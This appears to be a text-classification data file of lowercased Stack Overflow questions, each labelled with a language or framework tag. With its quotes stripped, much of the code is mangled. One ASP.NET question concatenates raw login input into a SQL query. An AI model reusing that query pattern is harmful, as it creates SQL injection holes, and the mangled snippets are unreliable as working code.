getwindow().setformat(pixelformat.translucent);          back.setonclicklistener(new onclicklistener() {              public void onclick(view v) {                 // todo auto-generated method stub                 vibrator.vibrate(40);                 finish();             }         });           vname = getintent().getstringextra( videoname );         videoname.settext(vname);         vurl = getintent().getstringextra( vid_url );         webview.setwebchromeclient(new webchromeclient());         webview.getsettings().setpluginstate(websettings.pluginstate.on_demand);         webview.getsettings().setjavascriptenabled(true);         log.i( fired url   vurl);         webview.loadurl(vurl);     }  }                                                                                  </code></pre>,android
i seem to have broken validates_confirmation_of  i seem to have broken <code>validates_confirmation_of</code> in my rails app.      my model looks like this:   <pre><code>class blark   include activemodel::validations   attr_accessor :text   validates_confirmation_of :text end </code></pre>   this is what happens when i use it:   <pre><code>0 hal work/nrb-brewery-management % rails c loading development environment (rails 3.2.5)  1.9.3p0 :001 &gt; b = blark.new  =&gt; #&lt;blark:0xae2e2d0&gt;   1.9.3p0 :002 &gt; b.text =  llama   =&gt;  llama    1.9.3p0 :003 &gt; b.text_confirmation  =&gt; nil   1.9.3p0 :004 &gt; b.valid   =&gt; true </code></pre>   why is <code>b</code> valid here,ruby-on-rails
internal.cryptography.cryptothrowhelper+windowscryptographicexception: the system cannot find the file specified  i am getting an exception when using   <pre><code>public func&lt;byte[] string  x509certificate2&gt; factory = (pfx  pfxpassword) =&gt; new x509certificate2(pfx  pfxpassword  x509keystorageflags.exportable); </code></pre>   in my create certificate generator   <pre><code>    public async task&lt;tuple&lt;byte[]  byte[]  byte[]&gt;&gt; generatecertpairasync(letsencryptservice&lt;acmeclient&gt; letsencryptservice  acmeclient client  string dnsidentifier  string pfxpassword)     {           // create certificate         var csr = new certificationrequestbuilder();         csr.addname( cn   dnsidentifier);         var cert = await client.newcertificate(csr);          // export pfx         var pfxbuilder = cert.topfx();         var pfx = pfxbuilder.build(dnsidentifier  pfxpassword);           x509certificate2 certificate = factory(pfx  pfxpassword);         string pem =  -----begin certificate-----\r\n  + convert.tobase64string(certificate.rawdata  base64formattingoptions.insertlinebreaks) +  \r\n-----end certificate----- ;          var keyinfo = cert.key;          var ms = new memorystream();         keyinfo.save(ms);         var chiancert = ms.toarray();         var fullchain = encoding.ascii.getbytes(pem);         var cr = certificate.export(x509contenttype.cert);          return  new tuple&lt;byte[]  byte[]  byte[]&gt;(chiancert  cr  fullchain);      } </code></pre>   the exception is as follows:   <pre><code>internal.cryptography.cryptothrowhelper+windowscryptographicexception: the system cannot find the file specified    at internal.cryptography.pal.certificatepal.filterpfxstore(byte[] rawdata  safepasswordhandle password  pfxcertstoreflags pfxcertstoreflags)    at internal.cryptography.pal.certificatepal.frombloborfile(byte[] rawdata  string filename  safepasswordhandle password  x509keystorageflags keystorageflags)    at system.security.cryptography.x509certificates.x509certificate..ctor(byte[] rawdata  string password  x509keystorageflags keystorageflags)    at sinnovations.letsencrypt.services.defaults.certesacmeclientservice.&lt;&gt;c.&lt;.ctor&gt;b__6_0(byte[] pfx  string pfxpassword)    at sinnovations.letsencrypt.services.defaults.certesacmeclientservice.&lt;generatecertpairasync&gt;d__5.movenext() --- end of stack trace from previous location where exception was thrown ---    at system.runtime.exceptionservices.exceptiondispatchinfo.throw()    at system.runtime.compilerservices.taskawaiter.handlenonsuccessanddebuggernotification(task task)    at sinnovations.letsencrypt.letsencryptservice`1.&lt;generatecertpairasync&gt;d__15.movenext() --- end of stack trace from previous location where exception was thrown ---    at system.runtime.exceptionservices.exceptiondispatchinfo.throw()    at system.runtime.compilerservices.taskawaiter.handlenonsuccessanddebuggernotification(task task)    at sinnovations.servicefabric.gatewayservice.actors.gatewayservicemanageractor.&lt;handlednschallengeasync&gt;d__14.movenext() in c:\agent\_work\3\s\apps\s-innovations.servicefabric.gatewayservice\actors\gatewayservicemanageractor.cs:line 179 </code></pre>   is there any way to construct a x509certificate2 without it looking into the pfxstore,.net
how to keep call the function all time when mouse stop above a div   if the mouse stop above a <code>div</code> i need call a specific function  but i need call it all time..    i ve tried <code>.mouseover()</code> and <code>.hover()</code> but these work just when the mouse is moving    how keep call the function all time,jquery
if - condition with char comparison not working in c  <strong>i really don t know what s the mistake. it seems to be right  doesn t it </strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc  char *argv[]) {    char op;     printf( type in operator (+ - / *): );    scanf( %i  &amp;op);     if(op ==  + )    {       printf( you entered a plus );    }     system( pause );     return 0; } </code></pre>   i expected it to print  you entered a plus  when entering a +. it does not.    <em>i m kinda new to c. thanks in advance :)</em>,c
accessing private memebers of a class  i have a class structure like this   <pre><code>class b;  class a {   private:        b *b;   public:       a(int val) {            b-&gt;setval(val);       } };  class b {   private:       int mynum;   public:       b();       void setval(int value) {           mynum = value;       } }; </code></pre>   and main:   <pre><code>void main(){   a head(10); } </code></pre>   this program compiles but on run-time returns an access-violation. i understand that the <code>mynum</code> in <code>class b</code> is <code>private</code> but even if i make it public it doesn t work. why is that,c++
split string on ios sdk 3.0  i want string array from string according to font and width of label.    like  this is a boy worked on iphone.     and i have a label of width 20.0 so i need the array according to this in ios sdk 3.0    please help if any there .    thanx  abhishek,iphone
how to use if to compare a number with an interval in python   when i compile the python code below  i do not have any output! my .csv file include numbers. like (80 100 50 40 250 300).   <pre><code>import csv with open( duration.csv ) as f:  d1 = [row[0] for row in csv.reader(f)]   for x in d1:  if 0&lt;= x &lt;200:   print( 0&lt;=x&lt;200 ) </code></pre>   any solution,python
set css style on datalistitem render as td element of table  i use clasic asp.net 4.0. i have big problem with set at datalistitem element css style. this item are render as td so i think that it will be easy  but is not :/    u use code like:    <pre><code>&lt;%# (((datalistitem)container).styles[ border-color ] =  red )==     :   %&gt; </code></pre>,asp.net
i want to figure out a sql statement for a complex data structure  i am working on trying to access data from a table by using joins. i am given information for a primary key in a and want to retrieve information from x. there are two ways to get to x  one by going through b and one by going through c. which path i choose is decided from a column in a. i tried to create a sql statement that uses case when and joins the tables with a from statement in this manner:    x - join - b - right outer join - a - left outer join - c - join - x    but sql tells me i can t join the same table at both ends. i use outer join because a will either have a connection to b or c  but not both.    basically  i need to retrieve data from x  but x is accessed using different keys depending on which path is deemed in a column in a.,sql
angularjs directive doesn t update scope value even with apply  i m usin a directive to show a div on the screen only when the screen size is smaller than 600px. the problem is  the scope value isn t being updated  even using <code>$apply()</code> inside the directive.    this is the code:   <pre><code>function showblock($window $timeout) {     return {         restrict:  a           scope: true          link: function(scope  element  attrs) {             scope.isblock = false;             checkscreen();              function checkscreen() {                 var wid = $window.innerwidth;                 if (wid &lt;= 600) {                     if(!scope.isblock) {                         $timeout(function() {                             scope.isblock = true;                             scope.$apply();                         }  100);                     };                  } else if (wid &gt; 600) {                     if(scope.isblock) {                         $timeout(function() {                             scope.isblock = false;                             scope.$apply();                         }  100);                     };                 };             };             angular.element($window).bind( resize   function(){                 checkscreen();             });          }     }; } </code></pre>   html:   <pre><code>&lt;div ng-if= isblock  show-block&gt;     //..conent to show &lt;/div&gt; &lt;div ng-if= !isblock  show-block&gt;     //..other conent to show &lt;/div&gt; </code></pre>   note: if i don t use $timeout i ll get the error    <blockquote>    $digest already in progress  </blockquote>   i used console logs inside to check if it s updating the value  and inside the directive everything works fine. but the changes doesn t go to the view. the block doesn t show.,angularjs
set background-image to a blob: uri  i have a background image stored in a blob  say <code>blob:http://lhost/3dbeb143-a618-46f3-8fa2-25f8dd477692</code>.     i want to set the <code>background-image</code> property of an element to this blob.    i tried setting it to <code>url( http://isequence/3dbeb143-a618-46f3-8fa2-25f8dd477692 )</code> but it just says <code>isequence/3dbeb143-a618-46f3-8fa2-25f8dd477692: 404 not found</code>. clearly it is trying to request that file literally through http.    so how do i go through with this,css
java compile error in netbeans  jcreator  geany  i m working on three ide s. netbeans  jcreator  geany. all these three gives the same error message and do not proceed though the source code is perfect.   <blockquote>    javac: file not found: c:\demo.java usage: javac   </blockquote>   process completed.,java
how to insert data into table based on conditions on the other table  i have to insert values in one of my columns in table based on restrictions on another table . these are the conditions. i have two tables a and b . a has a column a   and values in column a is dependent on values in table b. lets say there are b c d columns in b. now conditions are these if value of d= y    value in a is 1   if value in b&amp;c are same value of a is 2 and else value is 3 . so i wrote this code . a and b have same primary key values thus same number of rows   <pre><code> select b  c d from b case when d= y   then insert into a(a) values(1);  else case  when b=c then  insert into a(a) values(2); else insert into  a(a) values(3); end case end case ; </code></pre>   now there seems to be a syntax error   but i feel my fundamentals are weak in this topic. i think this can easily be done using cursor or loops   but data sets are huge so i don t think this would be feasible,mysql
how to get ajax response every n seconds  i want to request this ajax response every 10 seconds for the results   <pre><code>function show() {     var ele = document.getelementbyid( ping );     if (ele.style.display ==  none ) {         ele.style.display =  block ;     }     jquery.ajax({         type:  post           url:  checkit.php           cache: false          success: function (response) {             if (response == 1) {                 alert( success );             }         }     }); } </code></pre>,jquery
how to identify window under mouse with objective-c   i have the following code:   <pre><code>id eventhandler = [nsevent addglobalmonitorforeventsmatchingmask:nsmousemovedmask handler:^(nsevent * event) {     cgwindowid windowid = (cgwindowid)[event windownumber];     cfarrayref a = cfarraycreate(null  (void *)&amp;windowid  1  null);     nsarray *windowinfos = (__bridge nsarray *)cgwindowlistcreatedescriptionfromarray(a);     cfrelease(a);     if ([windowinfos count] &gt; 0) {         nsdictionary *windowinfo = [windowinfos objectatindex:0];         nslog(@ name:  %@   [windowinfo objectforkey:(nsstring *)kcgwindowname]);         nslog(@ owner: %@   [windowinfo objectforkey:(nsstring *)kcgwindowownername]);         //etc.     } }]; </code></pre>   which does a pretty good job at identifying windows under the cursor.  however  in order to identify them reliably you must click on the window.  some windows will trigger a change such as terminal and xcode  but hovering over say the desktop does not trigger that finder is under the cursor.  however if you click on the desktop then it is correctly identified.  any ideas what i might be missing,objective-c
how to convert myisam to innodb  i m using mysql 5  and my database experienced some corruption last week. the technicians at my web host managed to save it  but the tables are all converted from the original innodb to myisam. currently  some functions in my ecommerce application does not work.     is there a easy way for me to convert them back to innodb again  i can t find anything in phpmyadmin. do i need to write a php script      thanks.,mysql
mysql help need to show a movie that doesnt have a video number  the objective is to display movie number  movie title  and movie year for all movies that do not have a video. here are the tables. first the movie table.   <pre><code>mv_no   mv_name                     mv_year mv_price mv_genre  p_code 1234    the cesar family christmas  2009    39.95   family     2 1235    smoke mountain wildfire     2006    59.95   action     3 1236    richard goodhope            2010    59.95   drama      2 1237    beatnik fever               2009    29.95   comedy     2 1238    constant companion          2010    89.95   drama      2 1239    where hope dies             2000    25.49   drama      3 1245    time to burn                2006    45.49   action     3 1246    what he doesn t know        2008    58.29   comedy     1 1250    the girl with the dragon ta 2011    69.95   drama      3 1251    x-men: first class          2011    39.95   action     3 1252    cape of good hope           2004    34.79   comedy     1 1253    we bought a zoo             2011    29.99   comedy     1 1258    rebuilding hope             2009    45.95   drama      1   </code></pre>   then the video table:   <pre><code>vid_no  vid_indate  mv_no   v_status 34341   2008-09-04  1235    in 34342   2008-09-04  1235    in 34366   2013-03-02  1236    in 34367   2013-03-02  1236    in 34368   2013-03-02  1236    out 34369   2013-03-02  1236    in 44392   2008-09-25  1237    in 44397   2008-09-25  1237    in 54321   2008-06-16  1234    in 54324   2008-06-16  1234    out 54325   2008-06-16  1234    in 59237   2008-09-25  1237    in 61353   2013-03-02  1245    in 61354   2008-09-25  1245    in 61367   2008-09-25  1246    out 61369   2011-02-25  1246    in 61388   2013-03-02  1239    in 61399   2012-04-06  1250    in 71233   2012-01-05  1251    in 71235   2012-02-12  1252    in 71246   2012-03-05  1253    in 71255   2012-01-24  1258    in </code></pre>,mysql
how to address space in an upload file name  my application could accept upload file with spaces in file names. the problem is when i generate hyperlink to those files  the space within their file names really stopped me from doing this.   <pre><code>directoryinfo di = new directoryinfo( e:/asdf ); fileinfo[] rgfiles = di.getfiles( *.* ); if (rgfiles != null) {     sb.append( &lt;span class= subtitle &gt;your attachments list:&lt;/span&gt; );     foreach (fileinfo fi in rgfiles)     {        sb.append( &lt;br&gt;&lt;a href=e:\\asdf\\  + fi.name +  &gt;  + fi.name +  &lt;/a&gt; );     } } else {     sb.append( you don t have any attachment yet. ); } </code></pre>   shoud i replace all the space to underscore  well  i don t like this way. but if i want to add quote to the fi.name it won t display any filenames.,.net
converting string dates to sortable dates in angularjs  i have the following code that works fine as far as sorting by the desired property:    <pre><code>&lt;select ng-model= sortorder &gt;    &lt;option value= name &gt;sort by name&lt;/option&gt;    &lt;option value= created &gt;sort by date&lt;/option&gt; &lt;/select&gt;  &lt;div ng-repeat= item in items | orderby:sortorder &gt;     {{item.name}}  {{item.created}} &lt;/div&gt; </code></pre>   however  the date comes in as a string  ex: april  5 2016 which is not giving me accurate sorting. how can i detect if the list is being sorted by <code>created</code> and then convert that to a <code>date</code> object to get accurate results.     sample output:<br> sample name 1  april 6  2016<br> sample name 2  january 13  2014,angularjs
determining right-angled triangle  the task is that there is a function with three parameters (a  b  c). c always being the longest side. the function should determine if the angle c is right-angled. this is my code:   <pre><code>import math  def is_rightangled(a  b  c):             &gt;&gt;&gt; is_rightangled(3  4  5)     true     &gt;&gt;&gt; is_rightangled(5  12  13)     true     &gt;&gt;&gt; is_rightangled(8  6  10)     true     &gt;&gt;&gt; is_rightangled(3  4  6)     false     &gt;&gt;&gt; is_rightangled(1  4  6)     false              a = math.acos((b**2 + c**2 - a**2) / (2 * b * c))*180/math.pi     b = math.acos((c**2 + a**2 - b**2) / (2 * c * a))*180/math.pi      angle = 180 - a - b      if angle == 90:         return true     else: return false </code></pre>   this is what i get when using doctest:   <pre><code>&gt; ********************************************************************** file  /home/niel/desktop/session2/is_rightangled.py   line 13  in &gt; is_rightangled.is_rightangled failed example: &gt;     is_rightangled(1  4  6) exception raised: &gt;     traceback (most recent call last): &gt;       file  /usr/lib/python3.4/doctest.py   line 1324  in __run &gt;         compileflags  1)  test.globs) &gt;       file  &lt;doctest is_rightangled.is_rightangled[4]&gt;   line 1  in &lt;module&gt; &gt;         is_rightangled(1  4  6) &gt;       file  /home/niel/desktop/session2/is_rightangled.py   line 17  in is_rightangled &gt;         a = math.acos((b**2 + c**2 - a**2) / (2 * b * c))*180/math.pi &gt;     valueerror: math domain error &gt; ********************************************************************** 1 items had failures:    1 of   5 in is_rightangled.is_rightangled &gt; ***test failed*** 1 failures. </code></pre>   i tried multiple solutions  but always get some kind of error.,python
is there any rails syntactic sugar that could make this prettier   i ve written a model for  category . the requirements here are that each category can fall into one category  type . i m learning rails at the same time as doing this project  and managed to get the above working with the following class method (where_category_type);   <pre><code>class category &lt; activerecord::base      #associations     belongs_to :category_type     has_and_belongs_to_many :recipes      def self.where_category_type category_type   category.find(:all  :include =&gt; :category_type  :conditions =&gt; { :category_types =&gt; {:name =&gt; category_type }})     end  end </code></pre>   all works etc. but i am very keen to make sure i m doing things  the rails way   so i was wondering if i m missing some syntactic sugar somewhere that would make this a little more readable / less verbose,ruby-on-rails
nested objects and $.each() in jquery  i m trying to learn to structure my code better  and have started using the pattern below after following a few tutorials.    i ve had a fair amount of success building a number of common ui widgets this way  though i ve hit my first wall  the .each() loops below do not seem to actually be looping through each item but are applying the desired action as if it was acting on all of the items in one iteration.      i read something about $.each and objects  though i m not sure about $.each  or even whether it is teh direction i should be going.     <pre><code>jquery(document).ready(function($) {  var tabs = {      trig : $( nav.tab-triggers )      content : $( section.tabs-content )       init : function() {         tabs.address([tabs.trig]);         tabs.address([tabs.content]);     }       address : function(item) {         //for every instance of the item          $(item).each(function() {             var i = 1;             $(this).addclass( tabs-  + i);              // for ever child element in this instance of the item             $(this).children().each(function() {                 var count = 1;                 if ( $(this).parent().is( nav ) ) {                     $(this).attr( href    #tab-  + count);                } else {                     $(this).attr( id    tab-  + count);                }                  count++;              });              i++;         });     }       display : function () {         //show hide stuff here.     }   }  tabs.init();  }); </code></pre>,jquery
evalution and validation with java  i want to validate my application with two keys on installation by trial and permanent  on trial key i want to give a validation check of 30 days.i used some way but could not get find feather and need help or link.    thanks and regards,java
listpopupwindow over keyboard  i have built an textsuggest component with an edittext and a listpopupwindow. this component is in a dialog. my problem is that when i click on the edittext to filter the list  the listpopupwindow covers the keyboard. i would like that the keyboard reduced the listpopupwindow  like int youtube app or twitter app. i have tried to use the method listpopupwindow.setsoftinputmode(adjustresize) but it doesn t work. could you please help me     below is the screen shot of what i am talking about: <a href= http://instagram.com/p/pok-wulh3a/  rel= nofollow >http://instagram.com/p/pok-wulh3a/</a>,android
how do you boot a rails app on a remote server into development   i totally apologize for being so naiive. but when i deploy to production  it is automatically boots up in production mode.    how do i alternatively boot this up in development mode,ruby-on-rails
move text on pressed button  i have a button and while it is in non-pressed state looks ok but as soon as i press it i d like to move the text to the right and bottom. i want to achieve 3d effect of pressing button visually.    so  i guess question is: how can i move the text in the button only when button is pressed     thanks,android
generate an if from user input  i have a page where user can select different if sentences  by selection different(noumerous) select/options.    and i want to pass that user-generated arguments to local js function  like that   <pre><code>var useroptions = [    p&gt;0    r&gt;2    b==0  //string or other type sentences  generated by user on page. number of those sentences is not defined. ];  function valdate (p  r  b) { if (useroptions) { //here we should check that all sentences  required by user is true         return true;     } return false; } </code></pre>   cant  figure out how do i pass useroptions to if sentence. pls help.    <strong>some operand cand be functions  like  getval(b)>0 </strong>,javascript
can t uninstall .net framework 4.5.3  for some reason  the required install exe for 4.5.3 is missing from my pc. so when i try to remove 4.5.3  i get prompted to supply the location of the exe.    4.5.3 doesn t exist as a standalone version so i can t just download from microsoft.com to replace the missing exe.     which product can i install to give me the 4.5.3 exe     [have tried netfxrepairtool],.net
json parsing error   i am using json (sbjson) but it s giving  the error :   <pre><code>jsonvalue failed. error trace is: (      error domain=org.brautaset.json.errordomain code=3 \ unrecognised leading character\  userinfo=0x5f2f7f0 {nslocalizeddescription=unrecognised leading character}. </code></pre>   am using this web service :  <a href= http://xoap.weather.com/search/search where=india  rel= nofollow >http://xoap.weather.com/search/search where=india</a>  please give me the solutions why does error come,iphone
print a line 10 times in objective-c   i know that print line is <code>nslog</code>. how do i print a line 10 times in objective-c,objective-c
how to use nsdocuments directory for downloads in iphone  i have an iphone app with downloads option  and iam using nsdocument directory path for downloading.but after the download how can i get to access the documents path in iphone. do i need to install any other app for file access . if yes  please tell me the app.thank you .,iphone
about memory occupying in .net <blockquote> <pre><code>public function gettransformation(byval xmldata as string  byval xsltpath as string) as string     dim writer as stringwriter = new stringwriter()     dim strxsl as string = string.empty     try         dim xslt as new xslcompiledtransform(false)         xslt.load(path.combine(application.startuppath  xsltpath))         dim xmlreader as xpathdocument = new xpathdocument(new stringreader(xmldata))         xslt.transform(xmlreader  nothing  writer)         strxsl = writer.tostring()         writer.flush()         writer.dispose()         return strxsl     catch generatedexceptionname as exception         throw     end try end function </code></pre> </blockquote>   i have the above function to transform an xml to string.  can i use the return statement as like below given    <blockquote>    return  writer.tostring()  </blockquote>   instead of the below given expert of the function    <blockquote> <pre><code>  strxsl = writer.tostring()         writer.flush()         writer.dispose()         return strxsl </code></pre> </blockquote>   which is right for minimize use of memory.  what happened with the variables and streams and etc. which are declared in function after executing function,.net
expression in return statement will be executed   i have a problem will expressions in return statement be excuted    <pre><code>int test() {     top=10;     return top--; } </code></pre>   my problem is what s the value of <code>top</code> 10 or 9  anybody can help me i m just a beginner.,c++
warning: <td> attribute with missing trailing quote mark  i m working on an email template and i received i few error once a validated the code:    warning:  attribute with missing trailing quote mark    here is the code:   <pre><code>&lt;table border= 0  cellpadding= 0  cellspacing= 0  class= columns-container banner &gt;     &lt;tr&gt;         &lt;td align center  valign= top  style= height:235px; width:696px; &gt;             &lt;a href= http://www.researchnow.com/en-us.aspx  target= _blank &gt;                 &lt;img alt= thanks for visiting our website  src= http://sigs.researchnow.com/na_emails/us_emails/healthcare/healthcare_responsive_html_email/banner.jpg  border= 0 &gt;             &lt;/a&gt;         &lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt; </code></pre>   thanks in advance!,html
learning php - start out using a framework or no   i ve noticed a lot of jobs in my area for php.  i ve never used php before  and figure if i can get more opportunities if i pick it up then it might be a good idea.  the problem is that php without any framework is ugly and 99% of the time really bad code.  all the tutorials and books i ve seen are really lousy - it never shows any kind of good programming practice but always the quick and dirty kind of way of doing things.  i m afraid that trying to learn php this way will just imprint these bad practices in my head and make me waste time later trying to unlearn them.  i ve used c# in the past so i m familiar with oop and software design patterns and similar.    should i be trying to learn php by using one of the better known frameworks for it   i ve looked at cakephp  symfony and the zend framework so far; zend seems to be the most flexible without being too constraining like cake and symfony (although symfony seemed less constraining than cakephp which is trying too hard to be ruby on rails)  but many tutorials for zend i ve seen assume you already know php and want to learn to use the framework.    what would be my best opportunity for learning php  but learning good php that uses real software engineering techniques instead of spaghetti code   it seems all the php books and resources either assume you are just using raw php and therefore showcase bade practices  or that you already know php and therefore don t even touch on parts of the language.,php
confusion about div — why is it not as wide as its contents  and how can i center it   please note: i am new to cs. brand new.    i want my button div to be placed horizontally inside the confirm div: <a href= http://jsfiddle.net/zfa2v/  rel= nofollow noreferrer >example</a>.    right now my <code>dialog-button</code> div width is equal to the width of the confirm div. why     i am just placing two buttons inside my div  so it s width should be equal to 128 (the total of two button witdh). similarly the height should be equal to button height  but it isn t.    second i want that mt <code>button-div</code> placed center horizontally . i tried <code>left: 50%</code> inside my <code>button-div</code>. but it is aligning the left margin with the centre of the confirm div. how can i do it      <strong>edit --------------------------------------------------</strong>    <img src= https://i.stack.imgur.com/0lefc.png  alt= enter image description here >,css
easiest way to deploy a rails 3 app   i finished my first ruby on rails application and i would like to put it up online. what is the easiest way to go about doing this,ruby-on-rails
how do i convert a twitter user id to a twitter username  i m building an app in rails that needs to convert a twitter id into the twitter username. this is the code that pulls the id.   <pre><code>url =  http://twitter.com/  + params[:username] buffer = open(url   useragent  =&gt;  irb ).read @vouched_user_twitter_id = buffer[/\d+( =\.rss)/] </code></pre>   how do i use that number to pull the username once i no longer have params.,ruby-on-rails
how to stop appending a div on hover   i am appending a div on hover therefore it gets added all the time. how do i stop it from adding and just display/hide when the cursor hovers over the element    <pre><code>$( #submit-question-dropdown ).hover(function() {   $( #submit-question-dropdown ).append(`&lt;div class= row  style= position:absolute;right:50px;background-color:red;z-index:5;padding:20px;top:70px; &gt;&lt;div id= addquestion  style= float:left;  class= col-sm-6 &gt;&lt;h3 style= margin-bottom:15px; &gt;submit question&lt;/h3&gt;&lt;form onsubmit= createquestion(quiztype  $( #submitq ).val()  $( #submita1 ).val()  $( #submita2 ).val()  $( #submita3 ).val()  $( #submita4 ).val()  $( #submitcorrect ).val()  $( #submitexpl ).val()  $( #submitauthor ).val()  $( #submitdesc ).val()  $( #submitdate ).val());return false; method= post &gt;&lt;label style= margin-right:30px;  for= add-banking-question &gt;&lt;input class= form-control  id= add-banking-question  type= radio  name= add-q-quiztype  value= bankingquizquestion  checked&gt;investment banking&lt;/label&gt;&lt;label for= add-trading-question &gt;&lt;input class= form-control  id= add-trading-question  type= radio  name= add-q-quiztype  value= tradingquizquestion &gt;sales &amp; trading&lt;/label&gt;&lt;input style= margin-top:10px;  class= form-control  type= text  id= submitq  placeholder= question  name= addq-q &gt;&lt;input class= form-control  type= text  id= submita1  placeholder= answer 1  name= addq-a1 &gt;&lt;input class= form-control  type= text  id= submita2  placeholder= answer 2  name= addq-a2 &gt;&lt;input class= form-control  type= text  id= submita3  placeholder= answer 3  name= addq-a3 &gt;&lt;input class= form-control  type= text  id= submita4  placeholder= answer 4  name= addq-a4 &gt;&lt;input class= form-control  type= text  id= submitcorrect  placeholder= correct answer index  name= addq-correct &gt;&lt;input class= form-control  type= text  id= submitdesc  placeholder= short description  name= addq-desc &gt;&lt;textarea class= form-control  type= text  id= submitexpl  placeholder= explanation  name= addq-expl &gt;&lt;/textarea&gt;&lt;input class= form-control  type= text  id= submitauthor  placeholder= your name  name= addq-author &gt;&lt;input class= form-control  type= text  hidden id= submitdate  name= addq-date &gt;&lt;input class= btn btn-primary  type= submit  value= send  style= width:100%; &gt;&lt;div hidden id= success-submit &gt;thanks! we will review your question in 48 hours.&lt;/div&gt;&lt;/form&gt;&lt;/div&gt;&lt;/div&gt;`) }) </code></pre>,jquery
how to get an image from photolibrary as attachment  i want to obtain image with metadata from photolibrary as an attachment for mfmailcomposer. i did it by using the image picker to select the image from photolibrary.    is there any way to obtain the image from photolibrary in iphone without using the image picker,iphone
exception in the connectivity code  i am trying to connect to sql server from a web form but getting an incorrect syntax exception in the code.    protected void button1_click(object sender  eventargs e)         {    sqlconnection cn = new sqlconnection(configurationmanager.connectionstrings[ hrmsconnectionstring1 ].tostring());   <pre><code>  {       sqlcommand cmd = new sqlcommand( select * from persons where user_id= +uid.text+ and password!= +pswd.text  cn);        cn.open();        sqldatareader rdr = cmd.executereader(commandbehavior.closeconnection);   //exception in this line        rdr.read();        response.write(rdr[0].tostring());    } </code></pre>   }    please guide me where m going wrong.,asp.net
in asp.net 4.0  how can delay loading facebook  google +1 button code   i add facebook likebutton  google +1 button and twitter button to masterpage.master and let these  button to display on all my webpages.    my ips block facebook  google and twitter  so default.aspx is very slow to display because the webpage have to wait for loading facebook  google +1 button code completely.    is these a way to delay loading facebook  google +1 button code and display the content default.aspx first     you can download the code at <a href= http://dl.dropbox.com/u/209352/website2.zip  rel= nofollow >http://dl.dropbox.com/u/209352/website2.zip</a>   <pre><code>==============================default.aspx==================== &lt;%@ page title=   language= c#  masterpagefile= ~/masterpage.master  autoeventwireup= true  codefile= default.aspx.cs  inherits= _default  %&gt;  &lt;asp:content id= content1  contentplaceholderid= head  runat= server &gt; &lt;/asp:content&gt; &lt;asp:content id= content2  contentplaceholderid= contentplaceholder1  runat= server &gt; &lt;/asp:content&gt;    =========================masterpage.master===================================  &lt;%@ master language= c#  autoeventwireup= true  codefile= masterpage.master.cs  inherits= masterpage  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt;     &lt;asp:contentplaceholder id= head  runat= server &gt;     &lt;/asp:contentplaceholder&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;      &lt;div class= fb-like  data-href= http://www.myweb.com  data-send= false  data-layout= button_count          data-width= 120  data-show-faces= false  data-font= verdana &gt;     &lt;/div&gt;      &lt;div&gt;         &lt;a href= https://twitter.com/share  class= twitter-share-button  data-url= http://www.supercoolbookmark.com/              data-count= horizontal  data-via= mycwcgr &gt;tweet&lt;/a&gt;&lt;script type= text/javascript                  src= //platform.twitter.com/widgets.js &gt;&lt;/script&gt;     &lt;/div&gt;      &lt;div&gt;         &lt;g:plusone size= medium &gt;&lt;/g:plusone&gt;     &lt;/div&gt;      &lt;div&gt;         &lt;p&gt;hello  the world!&lt;/p&gt;         &lt;asp:contentplaceholder id= contentplaceholder1  runat= server &gt;          &lt;/asp:contentplaceholder&gt;      &lt;/div&gt;     &lt;/form&gt;       &lt;div id= fb-root &gt;&lt;/div&gt;     &lt;script&gt;   (function (d  s  id) {             var js  fjs = d.getelementsbytagname(s)[0];             if (d.getelementbyid(id)) { return; }             js = d.createelement(s); js.id = id;             js.src =  //connect.facebook.net/en_us/all.js#xfbml=1 ;             fjs.parentnode.insertbefore(js  fjs);         } (document   script    facebook-jssdk ));&lt;/script&gt;       &lt;!-- place this render call where appropriate --&gt;     &lt;script type= text/javascript &gt;         (function () {             var po = document.createelement( script ); po.type =  text/javascript ; po.async = true;             po.src =  https://apis.google.com/js/plusone.js ;             var s = document.getelementsbytagname( script )[0]; s.parentnode.insertbefore(po  s);         })();     &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,asp.net
back button in android  hello in my android application i have a video list screen a buffering screen and a videoplayer screen. as soon as the user clicks an item from videolist screen  he is navigated to buffering screen and then to videoplayer. in the buffering screen i am using async task and doing the loading process in on background process.    now my issue is like the user if has selested a video then gets navigated to buffering screen.but if the user clicks back when he is in buffering screen then initially he is getting navigated to videolist screen but immediately after that again he is navigated to videoplayer screen.    what i would like to have is either the back button should be made disable in buffering or should prevent the player tostart if back is clicked.    could you please let me know your valuable suggestions.    thanks in advance :),android
text wrapping in input area (html)  i currently have the following code:   <pre><code>&lt;div class= input-group &gt;     &lt;label&gt;some input&lt;/label&gt;     &lt;input type= text  name= var_1 &gt; &lt;/div&gt; &lt;div class= input-group &gt; </code></pre>   however  i would very much like to wrap the input text  i have tried to use div class =  text-area  however then as far as i can tell i lose the format  and the input area does not come on a new line. is there any simple way to fix this or do i have to go with text area  i have looked at this previous post  which is where i got the text-area idea: <a href= https://stackoverflow.com/questions/5286663/wrapping-text-inside-input-type-text-element-html-css >wrapping text inside input type=&quot;text&quot; element html/css</a>,html
style/base.alertdialog.appcompat not found  i had a power cut  and after opening the android studio  i get this error every time i open android studio  my files- all of them are affected by this.how to fix it    <pre><code>error:resource style/base.alertdialog.appcompat (akacom.example.patta.avoid:style/base.alertdialog.appcompat) not found. error:failed linking references. error:java.util.concurrent.executionexception: java.util.concurrent.executionexception: com.android.tools.aapt2.aapt2exception: aapt2 error: check logs for details error:java.util.concurrent.executionexception: com.android.tools.aapt2.aapt2exception: aapt2 error: check logs for details error:com.android.tools.aapt2.aapt2exception: aapt2 error: check logs for details error:execution failed for task  :app:processdebugresources . </code></pre>  <blockquote>    failed to execute aapt  </blockquote>,android
iphone file i/o operation and file structure  i want to write a iphone sdk program to download and upload files from server. server application is written in php. but i m confusing following points in client application.    1) how can i download the file from server 2) how can i store it in iphone (accessing iphone file system) 3) how can i display all file in a directory to the users.    can anybody help me,iphone
